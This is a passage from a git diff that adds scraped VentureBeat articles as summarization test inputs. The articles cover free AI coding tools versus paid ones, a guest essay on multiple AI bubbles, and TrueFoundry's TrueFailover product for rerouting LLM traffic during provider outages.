Goose stacks up against Cursor, GitHub Copilot, and the paid AI coding market Goose enters a crowded market of AI coding tools, but occupies a distinctive position. Cursor, a popular AI-enhanced code editor, charges $20 per month for its Pro tier and $200 for Ultra—pricing that mirrors Claude Code's Max plans. Cursor provides approximately 4,500 Sonnet 4 requests per month at the Ultra level, a substantially different allocation model than Claude Code's hourly resets. Cline, Roo Code, and similar open-source projects offer AI coding assistance but with varying levels of autonomy and tool integration. Many focus on code completion rather than the agentic task execution that defines Goose and Claude Code. Amazon's CodeWhisperer, GitHub Copilot, and enterprise offerings from major cloud providers target large organizations with complex procurement processes and dedicated budgets. They are less relevant to individual developers and small teams seeking lightweight, flexible tools. Goose's combination of genuine autonomy, model agnosticism, local operation, and zero cost creates a unique value proposition. The tool is not trying to compete with commercial offerings on polish or model quality. It's competing on freedom — both financial and architectural. The $200-a-month era for AI coding tools may be ending The AI coding tools market is evolving quickly. Open-source models are improving at a pace that continually narrows the gap with proprietary alternatives. Moonshot AI's Kimi K2 and z.ai's GLM 4.5 now benchmark near Claude Sonnet 4 levels — and they're freely available. If this trajectory continues, the quality advantage that justifies Claude Code's premium pricing may erode. Anthropic would then face pressure to compete on features, user experience, and integration rather than raw model capability. For now, developers face a clear choice. Those who need the absolute best model quality, who can afford premium pricing, and who accept usage restrictions may prefer Claude Code. Those who prioritize cost, privacy, offline access, and flexibility have a genuine alternative in Goose. The fact that a $200-per-month commercial product has a zero-dollar open-source competitor with comparable core functionality is itself remarkable. It reflects both the maturation of open-source AI infrastructure and the appetite among developers for tools that respect their autonomy. Goose is not perfect. It requires more technical setup than commercial alternatives. It depends on hardware resources that not every developer possesses. Its model options, while improving rapidly, still trail the best proprietary offerings on complex tasks. But for a growing community of developers, those limitations are acceptable trade-offs for something increasingly rare in the AI landscape: a tool that truly belongs to them. Goose is available for download at github.com/block/goose. Ollama is available at ollama.com. Both projects are free and open source. Subscribe to get latest news! Deep insights for enterprise AI, data, and security leaders VB Daily AI Weekly AGI Weekly Security Weekly Data Infrastructure Weekly VB Events All of them By submitting your email, you agree to our Terms and Privacy Notice. Get updates You're in! Our latest news will be hitting your inbox soon. Credit: VentureBeat made with Midjourney TrueFoundry launches TrueFailover to automatically reroute enterprise AI traffic during model outages When OpenAI went down in December, one of TrueFoundry’s customers faced a crisis that had nothing to do with chatbots or content generation. The company uses large language models to help refill prescriptions. Every second of downtime meant thousands of dollars in lost revenue — and patients who could not access their medications on time. Michael Nuñez January 21, 2026 CleoP made with Midjourney Stop calling it 'The AI bubble': It's actually multiple bubbles, each with a different expiration date It’s the question on everyone’s minds and lips: Are we in an AI bubble? Val Bercovici, WEKA January 18, 2026 CleoP made with Midjourney Why reinforcement learning plateaus without representation depth (and other key takeaways from NeurIPS 2025) Every year, NeurIPS produces hundreds of impressive papers, and a handful that subtly reset how practitioners think about scaling, evaluation and system design. In 2025, the most consequential works weren't about a single breakthrough model. Instead, they challenged fundamental assumptions that academicians and corporations have quietly relied on: Bigger models mean better reasoning, RL creates new capabilities, attention is “solved” and generative models inevitably memorize. Maitreyi Chatterjee,Devansh Agarwal January 17, 2026 Image credit: VentureBeat with ChatGPT How Google’s 'internal RL' could unlock long-horizon AI agents Researchers at Google have developed a technique that makes it easier for AI models to learn complex reasoning tasks that usually cause LLMs to hallucinate or fall apart. Instead of training LLMs through next-token prediction, their technique, called internal reinforcement learning (internal RL), steers the model’s internal activations toward developing a high-level step-by-step solution for the input problem. Ben Dickson January 16, 2026 Credit: VentureBeat made with Midjourney Listen Labs raises $69M after viral billboard hiring stunt to scale AI customer interviews Alfred Wahlforss was running out of options. His startup, Listen Labs, needed to hire over 100 engineers, but competing against Mark Zuckerberg's $100 million offers seemed impossible. So he spent $5,000 — a fifth of his marketing budget — on a billboard in San Francisco displaying what looked like gibberish: five strings of random numbers. Michael Nuñez January 16, 2026 Shimon Ben-David, CTO, WEKA and Matt Marshall, Founder & CEO, VentureBeat Breaking through AI’s memory wall with token warehousing As agentic AI moves from experiments to real production workloads, a quiet but serious infrastructure problem is coming into focus: memory. Not compute. Not models. Memory. VB Staff January 15, 2026 Credit: VentureBeat made with Midjourney Salesforce rolls out new Slackbot AI agent as it battles Microsoft and Google in workplace AI The new Slackbot, now generally available to Business+ and Enterprise+ customers, is Salesforce's most aggressive move yet to position Slack at the center of the emerging "agentic AI" movement — where software agents work alongside humans to complete complex tasks. The launch comes as Salesforce attempts to convince investors that artificial intelligence will bolster its products rather than render them obsolete. Michael Nuñez January 13, 2026 CleoP made with Midjourney Why your LLM bill is exploding — and how semantic caching can cut it by 73% Our LLM API bill was growing 30% month-over-month. Traffic was increasing, but not that fast. When I analyzed our query logs, I found the real problem: Users ask the same questions in different ways. Sreenivasa Reddy Hulebeedu Reddy January 12, 2026 Credit: VentureBeat made with Midjourney Anthropic launches Cowork, a Claude Desktop agent that works in your files — no coding required The launch marks a major inflection point in the race to deliver practical AI agents to mainstream users, positioning Anthropic to compete not just with OpenAI and Google in conversational AI, but with Microsoft's Copilot in the burgeoning market for AI-powered productivity tools. Michael Nuñez January 12, 2026 Partner Content How DoorDash scaled without a costly ERP overhaul Presented by NetSuite VB Staff January 12, 2026 Credit:Image generated by VentureBeat with FLUX-2-Pro Nvidia’s Vera Rubin is months away — Blackwell is getting faster right now Nvidia has been able to increase Blackwell GPU performance by up to 2.8x per GPU in a period of just three short months. Sean Michael Kerner January 9, 2026 CleoP made with Midjourney Why AI feels generic: Replit CEO on slop, toys, and the missing ingredient of taste Right now in the AI world, there are a lot of percolating ideas and experimentation. But as far as Replit CEO Amjad Masad is concerned, they're just "toys": unreliable, marginally effective, and generic. Taryn Plumb January 8, 2026 +============== diff --git a/tests/summarization/https___venturebeat.com_infrastructure_stop-calling-it-the-ai-bubble-its-actually-multiple-bubbles-each-with-a.txt b/tests/summarization/https___venturebeat.com_infrastructure_stop-calling-it-the-ai-bubble-its-actually-multiple-bubbles-each-with-a.txt new file mode 100644 index 0000000..1e9f9b1 --- /dev/null +++ b/tests/summarization/https___venturebeat.com_infrastructure_stop-calling-it-the-ai-bubble-its-actually-multiple-bubbles-each-with-a.txt @@ -0,0 +1,2 @@ +Featured Stop calling it 'The AI bubble': It's actually multiple bubbles, each with a different expiration date Val Bercovici, WEKA January 18, 2026 CleoP made with Midjourney It’s the question on everyone’s minds and lips: Are we in an AI bubble? It's the wrong question. The real question is: Which AI bubble are we in, and when will each one burst? 0:06 / 14:09 Keep Watching The debate over whether AI represents a transformative technology or an economic time bomb has reached a fever pitch. Even tech leaders like Meta CEO Mark Zuckerberg have acknowledged evidence of an unstable financial bubble forming around AI. OpenAI CEO Sam Altman and Microsoft co-founder Bill Gates see clear bubble dynamics: overexcited investors, frothy valuations and plenty of doomed projects — but they still believe AI will ultimately transform the economy. But treating "AI" as a single monolithic entity destined for a uniform collapse is fundamentally misguided. The AI ecosystem is actually three distinct layers, each with different economics, defensibility and risk profiles. Understanding these layers is critical, because they won't all pop at once. Layer 3: The wrapper companies (first to fall) The most vulnerable segment isn't building AI — it's repackaging it. These are the companies that take OpenAI's API, add a slick interface and some prompt engineering, then charge $49/month for what amounts to a glorified ChatGPT wrapper. Some have achieved rapid initial success, like Jasper.ai, which reached approximately $42 million in annual recurring revenue (ARR) in its first year by wrapping GPT models in a user-friendly interface for marketers. But the cracks are already showing. These businesses face threats from every direction: Feature absorption: Microsoft can bundle your $50/month AI writing tool into Office 365 tomorrow. Google can make your AI email assistant a free Gmail feature. Salesforce can build your AI sales tool natively into their CRM. When large platforms decide your product is a feature, not a product, your business model evaporates overnight. The commoditization trap: Wrapper companies are essentially just passing inputs and outputs, if OpenAI improves prompting, these tools lose value overnight. As foundation models become more similar in capability and pricing continues to fall, margins compress to nothing. Zero switching costs: Most wrapper companies don't own proprietary data, embedded workflows or deep integrations. A customer can switch to a competitor, or directly to ChatGPT, in minutes. There's no moat, no lock-in, no defensibility. The white-label AI market exemplifies this fragility. Companies using white-label platforms face vendor lock-in risks from proprietary systems and API limitations that can hinder integration. These businesses are building on rented land, and the landlord can change the terms, or bulldoze the property, at any moment. The exception that proves the rule: Cursor stands as a rare wrapper-layer company that has built genuine defensibility. By deeply integrating into developer workflows, creating proprietary features beyond simple API calls and establishing strong network effects through user habits and custom configurations, Cursor has demonstrated how a wrapper can evolve into something more substantial. But companies like Cursor are outliers, not the norm — most wrapper companies lack this level of workflow integration and user lock-in. Timeline: Expect significant failures in this segment by late 2025 through 2026, as large platforms absorb functionality and users realize they're paying premium prices for commoditized capabilities. Layer 2: Foundation models (the middle ground) The companies building LLMs — OpenAI, Anthropic, Mistral — occupy a more defensible but still precarious position. Economic researcher Richard Bernstein points to OpenAI as an example of the bubble dynamic, noting that the company has made around $1 trillion in AI deals, including a $500 billion data center buildout project, despite being set to generate only $13 billion in revenue. The divergence between investment and plausible earnings "certainly looks bubbly," Bernstein notes. Yet, these companies possess genuine technological moats: Model training expertise, compute access and performance advantages. The question is whether these advantages are sustainable or whether models will commoditize to the point where they're indistinguishable — turning foundation model providers into low-margin infrastructure utilities. Engineering will separate winners from losers: As foundation models converge in baseline capabilities, the competitive edge will increasingly come from inference optimization and systems engineering. Companies that can scale the memory wall through innovations like extended KV cache architectures, achieve superior token throughput and deliver faster time-to-first-token will command premium pricing and market share. The winners won’t just be those with the largest training runs, but those who can make AI inference economically viable at scale. Technical breakthroughs in memory management, caching strategies and infrastructure efficiency will determine which frontier labs survive consolidation. Another concern is the circular nature of investments. For instance, Nvidia is pumping $100 billion into OpenAI to bankroll data centers, and OpenAI is then filling those facilities with Nvidia's chips. Nvidia is essentially subsidizing one of its biggest customers, potentially artificially inflating actual AI demand. Still, these companies have massive capital backing, genuine technical capabilities and strategic partnerships with major cloud providers and enterprises. Some will consolidate, some will be acquired, but the category will survive. Timeline: Consolidation in 2026 to 2028, with 2 to 3 dominant players emerging while smaller model providers are acquired or shuttered. Layer 1: Infrastructure (built to last) Here’s the contrarian take: The infrastructure layer — including Nvidia, data centers, cloud providers, memory systems and AI-optimized storage — is the least bubbly part of the AI boom. Yes, the latest estimates suggest global AI capital expenditures and venture capital investments already exceed $600 billion in 2025, with Gartner estimating that all AI-related spending worldwide might top $1.5 trillion. That sounds like bubble territory. But infrastructure has a critical characteristic: It retains value regardless of which specific applications succeed. The fiber optic cables laid during the dot-com bubble weren’t wasted — they enabled YouTube, Netflix and cloud computing. Twenty-five years ago, the original dot-com bubble burst after debt financing built out fiber-optic cables for a future that had not yet arrived, but that future eventually did arrive, and the infrastructure was there waiting. Despite stock pressure, Nvidia’s Q3 fiscal year 2025 revenue hit about $57 billion, up 22% quarter-over-quarter and 62% year-over-year, with the data center division alone generating roughly $51.2 billion. These aren’t vanity metrics; they represent real demand from companies making genuine infrastructure investments. The chips, data centers, memory systems and storage infrastructure being built today will power whatever AI applications ultimately succeed, whether that’s today’s chatbots, tomorrow’s autonomous agents or applications we haven’t even imagined yet. Unlike commoditized storage alone, modern AI infrastructure encompasses the entire memory hierarchy — from GPU HBM to DRAM to high-performance storage systems that serve as token warehouses for inference workloads. This integrated approach to memory and storage represents a fundamental architectural innovation, not a commodity play. Timeline: Short-term overbuilding and lazy engineering are possible (2026), but long-term value retention is expected as AI workloads expand over the next decade. The cascade effect: Why this matters The current AI boom won't end with one dramatic crash. Instead, we'll see a cascade of failures beginning with the most vulnerable companies, and the warning signs are already here. Phase 1: Wrapper and white-label companies face margin compression and feature absorption. Hundreds of AI startups with thin differentiation will shut down or sell for pennies on the dollar. More than 1,300 AI startups now have valuations of over $100 million, with 498 AI "unicorns" valued at $1 billion or more, many of which won't justify those valuations. Phase 2: Foundation model consolidation as performance converges and only the best-capitalized players survive. Expect 3 to 5 major acquisitions as tech giants absorb promising model companies. Phase 3: Infrastructure spending normalizes but remains elevated. Some data centers will sit partially empty for a few years (like fiber optic cables in 2002), but they'll eventually fill as AI workloads genuinely expand. What this means for builders The most significant risk isn't being a wrapper — it’s staying one. If you own the experience the user operates in, you own the user. If you're building in the application layer, you need to move upstack immediately: From wrapper → application layer: Stop just generating outputs. Own the workflow before and after the AI interaction. From application → vertical SaaS: Build execution layers that force users to stay inside your product. Create proprietary data, deep integrations and workflow ownership that makes switching painful. The distribution moat: Your real advantage isn't the LLM, it's how you get users, keep them and expand what they do inside your platform. Winning AI businesses aren't just software companies — they're distribution companies. The bottom line It’s time to stop asking whether we're in "the" AI bubble. We're in multiple bubbles with different characteristics and timelines. The wrapper companies will pop first, probably within 18 months. Foundation models will consolidate over the next 2 to 4 years. I predict that current infrastructure investments will ultimately prove justified over the long term, although not without some short-term overbuilding pains. This isn't a reason for pessimism, it's a roadmap. Understanding which layer you're operating in and which bubble you might be caught in is the difference between becoming the next casualty and building something that survives the shakeout. The AI revolution is real. But not every company riding the wave will make it to shore. Val Bercovici is CAIO at WEKA. Welcome to the VentureBeat community! Our guest posting program is where technical experts share insights and provide neutral, non-vested deep dives on AI, data infrastructure, cybersecurity and other cutting-edge technologies shaping the future of enterprise. Read more from our guest post program — and check out our guidelines if you’re interested in contributing an article of your own! Subscribe to get latest news! Deep insights for enterprise AI, data, and security leaders VB Daily AI Weekly AGI Weekly Security Weekly Data Infrastructure Weekly VB Events All of them By submitting your email, you agree to our Terms and Privacy Notice. Get updates You're in! Our latest news will be hitting your inbox soon. CleoP made with Midjourney Why reinforcement learning plateaus without representation depth (and other key takeaways from NeurIPS 2025) Every year, NeurIPS produces hundreds of impressive papers, and a handful that subtly reset how practitioners think about scaling, evaluation and system design. In 2025, the most consequential works weren't about a single breakthrough model. Instead, they challenged fundamental assumptions that academicians and corporations have quietly relied on: Bigger models mean better reasoning, RL creates new capabilities, attention is “solved” and generative models inevitably memorize. Maitreyi Chatterjee,Devansh Agarwal January 17, 2026 Image credit: VentureBeat with ChatGPT How Google’s 'internal RL' could unlock long-horizon AI agents Researchers at Google have developed a technique that makes it easier for AI models to learn complex reasoning tasks that usually cause LLMs to hallucinate or fall apart. Instead of training LLMs through next-token prediction, their technique, called internal reinforcement learning (internal RL), steers the model’s internal activations toward developing a high-level step-by-step solution for the input problem. Ben Dickson January 16, 2026 Shimon Ben-David, CTO, WEKA and Matt Marshall, Founder & CEO, VentureBeat Breaking through AI’s memory wall with token warehousing As agentic AI moves from experiments to real production workloads, a quiet but serious infrastructure problem is coming into focus: memory. Not compute. Not models. Memory. VB Staff January 15, 2026 CleoP made with Midjourney Why your LLM bill is exploding — and how semantic caching can cut it by 73% Our LLM API bill was growing 30% month-over-month. Traffic was increasing, but not that fast. When I analyzed our query logs, I found the real problem: Users ask the same questions in different ways. Sreenivasa Reddy Hulebeedu Reddy January 12, 2026 Partner Content How DoorDash scaled without a costly ERP overhaul Presented by NetSuite VB Staff January 12, 2026 Credit:Image generated by VentureBeat with FLUX-2-Pro Nvidia’s Vera Rubin is months away — Blackwell is getting faster right now Nvidia has been able to increase Blackwell GPU performance by up to 2.8x per GPU in a period of just three short months. Sean Michael Kerner January 9, 2026 CleoP made with Midjourney Why AI feels generic: Replit CEO on slop, toys, and the missing ingredient of taste Right now in the AI world, there are a lot of percolating ideas and experimentation. But as far as Replit CEO Amjad Masad is concerned, they're just "toys": unreliable, marginally effective, and generic. Taryn Plumb January 8, 2026 Image credit: VentureBeat with ChatGPT New ‘Test-Time Training’ method lets AI keep learning without exploding inference costs A new study from researchers at Stanford University and Nvidia proposes a way for AI models to keep learning after deployment — without increasing inference costs. For enterprise agents that have to digest long docs, tickets, and logs, this is a bid to get “long memory” without paying attention costs that grow with context length. Ben Dickson January 6, 2026 CleoP made with Midjourney 'Intelition' changes everything: AI is no longer a tool you invoke AI is evolving faster than our vocabulary for describing it. We may need a few new words. We have “cognition” for how a single mind thinks, but we don't have a word for what happens when human and machine intelligence work together to perceive, decide, create and act. Let’s call that process intelition. Brian Mulconrey, Sureify Labs January 4, 2026 CleoJ made with Midjourney. Why “which API do I call?” is the wrong question in the LLM era For decades, we have adapted to software. We learned shell commands, memorized HTTP method names and wired together SDKs. Each interface assumed we would speak its language. In the 1980s, we typed 'grep', 'ssh' and 'ls' into a shell; by the mid-2000s, we were invoking REST endpoints like GET /users; by the 2010s, we imported SDKs (client.orders.list()) so we didn’t have to think about HTTP. But underlying each of those steps was the same premise: Expose capabilities in a structured form so others can invoke them. Dhyey Mavani January 3, 2026 Nvidia just admitted the general-purpose GPU era is ending Nvidia’s $20 billion strategic licensing deal with Groq represents one of the first clear moves in a four-front fight over the future AI stack. 2026 is when that fight becomes obvious to enterprise builders. Matt Marshall January 3, 2026 CleoP made with Midjourney Why Notion’s biggest AI breakthrough came from simplifying everything When initially experimenting with LLMs and agentic AI, software engineers at Notion AI applied advanced code generation, complex schemas, and heavy instructioning. Taryn Plumb January 2, 2026 +============== diff --git a/tests/summarization/https___venturebeat.com_infrastructure_truefoundry-launches-truefailover-to-automatically-reroute-enterprise-ai.txt b/tests/summarization/https___venturebeat.com_infrastructure_truefoundry-launches-truefailover-to-automatically-reroute-enterprise-ai.txt new file mode 100644 index 0000000..d392a55 --- /dev/null +++ b/tests/summarization/https___venturebeat.com_infrastructure_truefoundry-launches-truefailover-to-automatically-reroute-enterprise-ai.txt @@ -0,0 +1,2 @@ +TrueFoundry launches TrueFailover to automatically reroute enterprise AI traffic during model outages Michael Nuñez January 21, 2026 Credit: VentureBeat made with Midjourney When OpenAI went down in December, one of TrueFoundry’s customers faced a crisis that had nothing to do with chatbots or content generation. The company uses large language models to help refill prescriptions. Every second of downtime meant thousands of dollars in lost revenue — and patients who could not access their medications on time. TrueFoundry, an enterprise AI infrastructure company, announced Wednesday a new product called TrueFailover designed to prevent exactly that scenario. The system automatically detects when AI providers experience outages, slowdowns, or quality degradation, then seamlessly reroutes traffic to backup models and regions before users notice anything went wrong. "The challenge is that in the AI world, failover is no longer that simple," said Nikunj Bajaj, co-founder and chief executive of TrueFoundry, in an exclusive interview with VentureBeat. "When you move from one model to another, you also have to consider things like output quality, latency, and whether the prompt even works the same way. In many cases, the prompt needs to be adjusted in real-time to prevent results from degrading. That is not something most teams are set up to manage manually." 0:02 / 14:09 Keep Watching The announcement arrives at a pivotal moment for enterprise AI adoption. Companies have moved far beyond experimentation. AI now powers prescription refills at pharmacies, generates sales proposals, assists software developers, and handles customer support inquiries. When these systems fail, the consequences ripple through entire organizations. Why enterprise AI systems remain dangerously dependent on single providers Large language models from OpenAI, Anthropic, Google, and other providers have become essential infrastructure for thousands of businesses. But unlike traditional cloud services from Amazon Web Services or Microsoft Azure — which offer robust uptime guarantees backed by decades of operational experience — AI providers operate complex, resource-intensive systems that remain prone to unexpected failures. "Major LLM providers experience outages, slowdowns, or latency spikes every few weeks or months, and we regularly see the downstream impact on businesses that rely on a single provider," Bajaj told VentureBeat. The December OpenAI outage that affected TrueFoundry's pharmacy customer illustrates the stakes. "At their scale, even seconds of downtime can translate into thousands of dollars in lost revenue," Bajaj explained. "Beyond the economic impact, there is also a human consequence when patients cannot access prescriptions on time. Because this customer had our failover solution in place, they were able to reroute requests to another model provider within minutes of detecting the outage. Without that setup, recovery would likely have taken hours." The problem extends beyond complete outages. Partial failures — where a model slows down or produces lower-quality responses without going fully offline — can quietly destroy user experience and violate service-level agreements. These "slow but technically up" scenarios often prove more damaging than dramatic crashes because they evade traditional monitoring systems while steadily eroding performance. Inside the technology that keeps AI applications online when providers fail TrueFailover operates as a resilience layer on top of TrueFoundry's AI Gateway, which already processes more than 10 billion requests per month for Fortune 1000 companies. The system weaves together several interconnected capabilities into a unified safety net for enterprise AI. At its core, the product enables multi-model failover by allowing enterprises to define primary and backup models across providers. If OpenAI becomes unavailable, traffic automatically shifts to Anthropic, Google's Gemini, Mistral, or self-hosted alternatives. The routing happens transparently, without requiring application teams to rewrite code or manually intervene. The system extends this protection across geographic boundaries through multi-region and multi-cloud resilience. By distributing AI endpoints across zones and cloud providers, health-based routing can detect problems in specific regions and divert traffic to healthy alternatives. What would otherwise become a global incident transforms into an invisible infrastructure adjustment that users never perceive. Perhaps most critically, TrueFailover employs degradation-aware routing that continuously monitors latency, error rates, and quality signals. "We look at a combination of signals that together indicate when a model's performance is starting to degrade," Bajaj explained. "Large language models are shared resources. Providers run the same model instance across many customers, so when demand spikes for one user or workload, it can affect everyone else using that model." The system watches for rising response times, increasing error rates, and patterns suggesting instability. "Individually, none of these signals tell the full story," Bajaj said. "But taken together, they allow us to detect early signs that a model is slowing down or becoming unreliable. Those signals feed into an AI-driven system that can decide when and how to reroute traffic before users experience a noticeable drop in quality." Strategic caching rounds out the protection by shielding providers from sudden traffic spikes and preventing rate-limit cascades during high-demand periods. This allows systems to absorb demand surges and provider limits without brownouts or throttling surprises. The approach represents a fundamental shift in how enterprises should think about AI reliability. "TrueFailover is designed to handle that complexity automatically," Bajaj said. "It continuously monitors how models behave across many customers and use cases, looks for early warning signs like rising latency, and takes action before things break. Most individual enterprises do not have that kind of visibility because they are only able to see their own systems." The engineering challenge of switching models without sacrificing output quality One of the thorniest challenges in AI failover involves maintaining consistent output quality when switching between models. A prompt optimized for GPT-5 may produce different results on Claude or Gemini. TrueFoundry addresses this through several mechanisms that balance speed against precision. "Some teams rely on the fact that large models have become good enough that small differences in prompts do not materially affect the output," Bajaj explained. "In those cases, switching from one provider to another can happen with some visible impact — that's not ideal, but some teams choose to do it." More sophisticated implementations maintain provider-specific prompts for the same application. "When traffic shifts from one model to another, the prompt shifts with it," Bajaj said. "In that case, failover is not just switching models. It is switching to a configuration that has already been tested." TrueFailover automates this process. The system dynamically routes requests and adjusts prompts based on which model handles the query, keeping quality within acceptable ranges without manual intervention. The key, Bajaj emphasized, is that "failover is planned, not reactive. The logic, prompts, and guardrails are defined ahead of time, which is why end users typically do not notice when a switch happens." Importantly, many failover scenarios do not require changing providers at all. "It can be routing traffic from the same model in one region to another region, such as from the East Coast to the West Coast, where no prompt changes are required," Bajaj noted. This geographic flexibility provides a first line of defense before more complex cross-provider switches become necessary. How regulated industries can use AI failover without compromising compliance For enterprises in healthcare, financial services, and other regulated sectors, the prospect of AI traffic automatically routing to different providers raises immediate compliance concerns. Patient data cannot simply flow to whichever model happens to be available. Financial records require strict controls over where they travel. TrueFoundry built explicit guardrails to address these constraints. "TrueFailover will never route data to a model or provider that an enterprise has not explicitly approved," Bajaj said. "Everything is controlled through an admin configuration layer where teams set clear guardrails upfront." Enterprises define exactly which models qualify for failover, which providers can receive traffic, and even which regions or model categories — such as closed-source versus open-source — are acceptable. Once those rules take effect, TrueFailover operates only within them. "If a model is not on the approved list, it is simply not an option for routing," Bajaj emphasized. "There is no scenario where traffic is automatically sent somewhere unexpected. The idea is to give teams full control over compliance and data boundaries, while still allowing the system to respond quickly when something goes wrong. That way, reliability improves without compromising security or regulatory requirements." This design reflects lessons learned from TrueFoundry's existing enterprise deployments. A Fortune 50 healthcare company already uses the platform to handle more than 500 million IVR calls annually through an agentic AI system. That customer required the ability to run workloads across both cloud and on-premise infrastructure while maintaining strict data residency controls — exactly the kind of hybrid environment where failover policies must be precisely defined. Where automatic failover cannot help and what enterprises must plan for TrueFoundry acknowledges that TrueFailover cannot solve every reliability problem. The system operates within the guardrails enterprises configure, and those configurations determine what protection is possible. "If a team allows failover from a large, high-capacity model to a much smaller model without adjusting prompts or expectations, TrueFailover cannot guarantee the same output quality," Bajaj explained. "The system can route traffic, but it cannot make a smaller model behave like a larger one without appropriate configuration." Infrastructure constraints also limit protection. If an enterprise hosts its own models and all of them run on the same GPU cluster, TrueFailover cannot help when that infrastructure fails. "When there is no alternate infrastructure available, there is nothing to fail over to," Bajaj said. The question of simultaneous multi-provider failures occasionally surfaces in enterprise risk discussions. Bajaj argues this scenario, while theoretically possible, rarely matches reality. "In practice, 'going down' usually does not mean an entire provider is offline across all models and regions," he explained. "What happens far more often is a slowdown or disruption in a specific model or region because of traffic spikes or capacity issues." When that occurs, failover can happen at multiple levels — from on-premise to cloud, cloud to on-premise, one region to another, one model to another, or even within the same provider before switching providers entirely. "That alone makes it very unlikely that everything fails at once," Bajaj said. "The key point is that reliability is built on layers of redundancy. The more providers, regions, and models that are included in the guardrails, the smaller the chance that users experience a complete outage." A startup that built its platform inside Fortune 500 AI deployments TrueFoundry has established itself as infrastructure for some of the world's largest AI deployments, providing crucial context for its failover ambitions. The company raised $19 million in Series A funding in February 2025, led by Intel Capital with participation from Eniac Ventures, Peak XV Partners, and Jump Capital. Angel investors including Gokul Rajaram and Mohit Aron also joined the round, bringing total funding to $21 million. The San Francisco-based company was founded in 2021 by Bajaj and co-founders Abhishek Choudhary and Anuraag Gutgutia, all former Meta engineers who met as classmates at IIT Kharagpur. Initially focused on accelerating machine learning deployments, TrueFoundry pivoted to support generative AI capabilities as the technology went mainstream in 2023. The company's customer roster demonstrates enterprise-scale adoption that few AI infrastructure startups can match. Nvidia employs TrueFoundry to build multi-agent systems that optimize GPU cluster utilization across data centers worldwide — a use case where even small improvements in utilization translate into substantial business impact given the insatiable demand for GPU capacity. Adopt AI routes more than 15 million requests and 40 billion input tokens through TrueFoundry's AI Gateway to power its enterprise agentic workflows. Gaming company Games 24x7 serves machine learning models to more than 100 million users through the platform at scales exceeding 200 requests per second. Digital adoption platform Whatfix migrated to a microservices architecture on TrueFoundry, reducing its release cycle sixfold and cutting testing time by 40 percent. TrueFoundry currently reports more than 30 paid customers worldwide and has indicated it exceeded $1.5 million in annual recurring revenue last year while quadrupling its customer base. The company manages more than 1,000 clusters for machine learning workloads across its client base. TrueFailover will be offered as an add-on module on top of the existing TrueFoundry AI Gateway and platform, with pricing following a usage-based model tied to traffic volume along with the number of users, models, providers, and regions involved. An early access program for design partners opens in the coming weeks. Why traditional cloud uptime guarantees may never apply to AI providers Enterprise technology buyers have long demanded uptime commitments from infrastructure providers. Amazon Web Services, Microsoft Azure, and Google Cloud all offer service-level agreements with financial penalties for failures. Will AI providers eventually face similar expectations? Bajaj sees fundamental constraints that make traditional SLAs difficult to achieve in the current generation of AI infrastructure. "Most foundational LLMs today operate as shared resources, which is what enables the standard pricing you see publicly advertised," he explained. "Providers do offer higher uptime commitments, but that usually means dedicated capacity or reserved infrastructure, and the cost increases significantly." Even with substantial budgets, enterprises face usage quotas that create unexpected exposure. "If traffic spikes beyond those limits, requests can still spill back into shared infrastructure," Bajaj said. "That makes it hard to achieve the kind of hard guarantees enterprises are used to with cloud providers." The economics of running large language models create additional barriers that may persist for years. "LLMs are still extremely complex and expensive to run. They require massive infrastructure and energy, and we do not expect a near-term future where most companies run multiple, fully dedicated model instances just to guarantee uptime." This reality drives demand for solutions like TrueFailover that provide resilience regardless of what individual providers can promise. "Enterprises are realizing that reliability cannot come from the model provider alone," Bajaj said. "It requires additional layers of protection to handle the realities of how these systems operate today." The new calculus for companies that built AI into critical business processes The timing of TrueFoundry's announcement reflects a fundamental shift in how enterprises use AI — and what they stand to lose when it fails. What began as internal experimentation has evolved into customer-facing applications where disruptions directly affect revenue and reputation. "Many enterprises experimented with Gen AI and agentic systems in the past, and production use cases were largely internal-facing," Bajaj observed. "There was no immediate impact on their top line or the public perception of the enterprise." That era has ended. "Now that these enterprises have launched public-facing applications, where both the top line and public perception can be impacted if an outage occurs, the stakes are much higher than they were even six months ago. That's why we are seeing more and more attention on this now." For companies that have woven AI into critical business processes — from prescription refills to customer support to sales operations — the calculus has changed entirely. The question is no longer which model performs best on benchmarks or which provider offers the most compelling features. The question that now keeps technology leaders awake is far simpler and far more urgent: what happens when the AI disappears at the worst possible moment? Somewhere, a pharmacist is filling a prescription. A customer support agent is resolving a complaint. A sales team is generating a proposal for a deal that closes tomorrow. All of them depend on AI systems that depend on providers that, despite their scale and sophistication, still go dark without warning. TrueFoundry is betting that enterprises will pay handsomely to ensure those moments of darkness never reach the people who matter most — their customers. Subscribe to get latest news! Deep insights for enterprise AI, data, and security leaders VB Daily AI Weekly AGI Weekly Security Weekly Data Infrastructure Weekly VB Events All of them By submitting your email, you agree to our Terms and Privacy Notice. Get updates You're in! Our latest news will be hitting your inbox soon. Credit: VentureBeat made with Midjourney Claude Code costs up to $200 a month. Goose does the same thing for free. The artificial intelligence coding revolution comes with a catch: it's expensive. Michael Nuñez January 19, 2026 CleoP made with Midjourney Stop calling it 'The AI bubble': It's actually multiple bubbles, each with a different expiration date It’s the question on everyone’s minds and lips: Are we in an AI bubble? Val Bercovici, WEKA January 18, 2026 CleoP made with Midjourney Why reinforcement learning plateaus without representation depth (and other key takeaways from NeurIPS 2025) Every year, NeurIPS produces hundreds of impressive papers, and a handful that subtly reset how practitioners think about scaling, evaluation and system design. In 2025, the most consequential works weren't about a single breakthrough model. Instead, they challenged fundamental assumptions that academicians and corporations have quietly relied on: Bigger models mean better reasoning, RL creates new capabilities, attention is “solved” and generative models inevitably memorize. Maitreyi Chatterjee,Devansh Agarwal January 17, 2026 Image credit: VentureBeat with ChatGPT How Google’s 'internal RL' could unlock long-horizon AI agents Researchers at Google have developed a technique that makes it easier for AI models to learn complex reasoning tasks that usually cause LLMs to hallucinate or fall apart. Instead of training LLMs through next-token prediction, their technique, called internal reinforcement learning (internal RL), steers the model’s internal activations toward developing a high-level step-by-step solution for the input problem. Ben Dickson January 16, 2026 Shimon Ben-David, CTO, WEKA and Matt Marshall, Founder & CEO, VentureBeat Breaking through AI’s memory wall with token warehousing As agentic AI moves from experiments to real production workloads, a quiet but serious infrastructure problem is coming into focus: memory. Not compute. Not models. Memory. VB Staff January 15, 2026 CleoP made with Midjourney Why your LLM bill is exploding — and how semantic caching can cut it by 73% Our LLM API bill was growing 30% month-over-month. Traffic was increasing, but not that fast. When I analyzed our query logs, I found the real problem: Users ask the same questions in different ways. Sreenivasa Reddy Hulebeedu Reddy January 12, 2026 Partner Content How DoorDash scaled without a costly ERP overhaul Presented by NetSuite VB Staff January 12, 2026 Credit:Image generated by VentureBeat with 